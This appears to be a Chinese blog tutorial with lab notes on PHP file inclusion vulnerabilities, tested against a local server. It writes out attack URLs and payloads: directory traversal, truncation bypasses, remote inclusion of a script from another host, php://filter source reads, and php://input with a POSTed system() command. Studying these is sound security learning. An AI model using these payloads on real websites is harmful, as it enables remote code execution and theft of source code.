首页 > 其他分享 >WEB漏洞—文件操作之文件包含漏洞

WEB漏洞—文件操作之文件包含漏洞

时间:2023-07-24 15:33:21浏览次数:32  
标签:WEB php 文件 访问 ---- 漏洞 PHP txt

文件包含原理 

----传递一个参数(可以是一个文件),然后PHP脚本包含这个文件,则无论这个文件是什么格式,访问PHP脚本,传递参数的文件都能以PHP格式执行。

本地文件包含测试 

#本地创建一个1.php和shell.txt,代码如下

#访问PHP脚本并且传递1.txt文件为参数,发现txt里的内容以php代码执行

#单纯访问shell.txt

本地文件包含代码测试-原理

1.无限制夸目录(运行D盘目录下的文件)

http://127.0.0.1/1.php?filename=../../1.txt

2.有限制的文件包含

#脚本代码(filename脚本后面包含的文件后缀名增加了一个HTML)

#传入shell.txt文件参数(执行失败,因为在当前目录不存在shell.txt.html文件)

绕过方式

1.%00截断

----magic_quotes_gpc=off

----php版本<5.3.4 

#这里不知道为啥不能截断,看弹幕说这里已经不行了,所以放弃了

2.长度截断

---windows中点号需要长于256位(文件命名),Linux中点号需要长于4096位

#这里也不行了,所以直接放弃

远程文件包含代码测试-原理

1.  在phpinfo中查看是否可以远程文件包含(这里allow_url_include已经打开了)

2.  外网服务器上设置一个脚本(这里用的是虚拟机)

3.  访问远程文件

http://127.0.0.1/1.php?filename=http://192.168.174.128/1.txt

4.若远程存在过滤的情况(直接访问报错)

可以加 ? %20 %23

协议玩法

https://www.cnblogs.com/endust/p/11804767.html

php支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流expect:// — 处理交互式的流

 php协议读取1.txt文件的源码(注意:PHP协议只能在PHP脚本适用)

127.0.0.1/1.php?filename=php://filter/read=convert.base64-encode/resource=shell.txt

---原理:在文件输入之前先过滤,读取过滤器内的内容,其中resource为要过滤的数据流。

--- base64加密原因:有时候读取由于编码方式的不同造成乱码,这里加密后,就不会乱码

#解密

以PHP格式执行文件

---- http://127.0.0.1/1.php?filename=php://input

----post提交数据:<?php system(ipconfig);?>

----原理:php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

标签:WEB,php,文件,访问,----,漏洞,PHP,txt
From: https://www.cnblogs.com/Zx770/p/17577112.html

相关文章

  • apache2 静态文件 csrf 错误
    第一步安装header模块sudoaptupdatesudoaptinstallapache2sudoa2enmodheaders第二步apache2配置过滤<FilesMatch"\.(jpg|png|css|js)$"><IfModulemod_headers.c>HeadersetAccess-Control-Allow-Origin"*"</IfMod......
  • 关于你需要的源文件重要通知
    关于你需要的源文件重要通知 【公众号已更换名字,logo】......
  • 【WebGL系列-01】获取WebGL上下文
    获取WebGL上下文获取上下文WebGL上下文是从<canvas>标签中获取到的,通过canvas对象的getContext()函数可以获取WebGLRenderingContext。跟据参数的不同,getContext()函数可以获取不同种类的渲染上下文。接口canvas.getContext(contextType:String,contextAttributes?:Objec......
  • 【WebGL系列-02】创建program上下文
    WebGL程序program对象的创建program对象由顶点着色器对象和片元着色器对象构成,因此,创建program对象包含了两部分,一个是着色器对象的创建,一个是program对象的创建。总体流程创建顶点着色器对象创建片元着色器对象创建program对象将顶点着色器和片元着色器添加到程序中将程......
  • 【WebGL系列-03】获取shader变量地址及赋值
    获取shader变量地址及赋值上一节创建了WebGL程序对象,创建好program对象后,对象中包含顶点着色器和片元着色器,着色器中含有变量,我们需要对其进行赋值后才能够进行绘制。着色器代码如下:constVSHADER_SOURCE=/*glsl*/`attributevec4a_Position;voidmain(){gl_P......
  • 【WebGL系列-04】清除缓冲区并绘制图形
    清除缓冲区并绘制图形前文中已经准备好了webgl程序和绘制所用的数据,但是在绘制图像之前,还要对画布进行处理。清除缓冲区由于图像的绘制是一帧一帧绘制,每一帧针对当前的状态,计算屏幕上每个像素的颜色,得到最终的绘制结果。这些状态被保存在一个叫帧缓冲区的地方。帧缓冲区不仅能......
  • CTFer成长记录——CTF之Web专题·bugku-eval
    一、题目链接https://ctf.bugku.com/challenges/detail/id/75.html?id=75二、解法步骤  打开网页是一段php代码,其中include"flag.php"提示可能有文件包含漏洞,接着使用了eval函数,那么可能存在命令执行漏洞。    先用system('ls')命令看看:?hello=system('ls'):......
  • CTFer成长记录——CTF之Web专题·bugku-Simple_SSTI_2
    一、题目链接https://ctf.bugku.com/challenges/detail/id/203.html二、解法步骤  题目是SSTI,也就是服务器模板注入,页面提示我们需要传递一个flag参数。  由于是模板,可以传flag={{config}}看看:显示说明这里存在命令执行的漏洞,查询资料发现此处可以执......
  • .net core 6.0 获得配置文件
    .NETCore6.0获得配置文件在.NETCore应用程序中,配置文件是一个非常重要的组成部分。它允许我们将应用程序的设置和属性与代码分离,以便在不修改代码的情况下更改应用程序的行为。在本文中,我们将探讨如何在.NETCore6.0中获取和使用配置文件。什么是配置文件?配置文件是一个文......
  • vue3.0 外部配置文件一 (导入json文件方式)
    vue3.0外部配置文件,重点是打包后也可以修改配置参数 注:js文件中必须是标准的json格式一、在public中创建static文件夹,在static文件夹中创建config.json  文件 config.json (必须是标准的json格式){"webSocketUrl":"ws://192.168.1.120:5011/chat/","......